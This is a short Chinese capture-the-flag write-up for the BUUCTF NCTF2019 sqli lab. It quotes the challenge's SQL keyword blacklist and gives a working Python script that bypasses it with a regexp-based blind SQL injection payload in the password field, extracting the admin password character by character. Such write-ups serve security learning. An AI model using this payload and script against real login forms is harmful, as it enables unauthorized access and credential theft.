55.【5】BUUCTF WEB NCTF2019 sqli

进入靶场

输入admin 123

过滤的这么严格???

过滤很严格,此时要么爆破,要么扫描

直接扫描,得到robots.txt

访问后又得到hint.txt

继续访问

图片内容如下

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST'passwd' === admin's password,

Then you will get the flag;

所以我们必须要绕过黑名单,而且密码必须等于管理员的密码,但admin也被过滤了

看了别人的wp

需要进行正则匹配,需要python脚本

下面的代码会跑出密码

复制代码
import requests
from urllib import parse
import string

url = '。。。。。。。。。。。。'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_'
for i in range (1,60):
    if num == 1 :
        break
    for j in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
        }
        print(result+j)
        res = requests.post(url=url,data=data)
        if 'welcome' in res.text:
            result += j
            break
        if j=='_' and 'welcome' not in res.text:
            break

此时输入用户名(只要不是黑名单里的就行)和密码(跑出来的)即可

over

笔记

1,连续2道题用到python脚本了

2,学习了正则匹配

相关推荐
ClouGence4 分钟前
MongoDB 双向同步如何防止数据循环?(附实操指南)
数据库·mongodb
東隅已逝,桑榆非晚7 分钟前
算法3.双指针法-快乐数
c++·笔记·学习·算法
福大大架构师每日一题9 分钟前
excelize v2.11.1发布:Go 1.26.0起步,16项安全修复与嵌入对象能力全面升级
开发语言·安全·golang
TDengine (老段)16 分钟前
TDengine IDMP 十大实用功能(7)
数据库·物联网·时序数据库·tdengine·涛思数据·工业数据·idmp
Decay__18 分钟前
15_MySQL 数据同步与迁移方案 —— 复制 / DataX / Canal / 异构同步(对标 Oracle GoldenGate)
运维·数据库·sql·mysql·架构
yunlaodacom28 分钟前
做异地灾备,华为云国际站 OBS 跨地域复制该怎么配置?
安全·华为云·云计算
欢欢李29 分钟前
【LTE L3 笔记 01】LTE空口特点
笔记·无线通信·物理层·lte·空口协议
zjx238831 分钟前
oracle11g转Gbase8s库SQL常见问题修改
数据库·sql
li星野34 分钟前
Regular and Irregular Nouns — One-Page A4 Notes
学习
真上帝的左手39 分钟前
30. 技术专题-‌应用框架组件-缓存-Redis
数据库·redis·分布式·缓存·中间件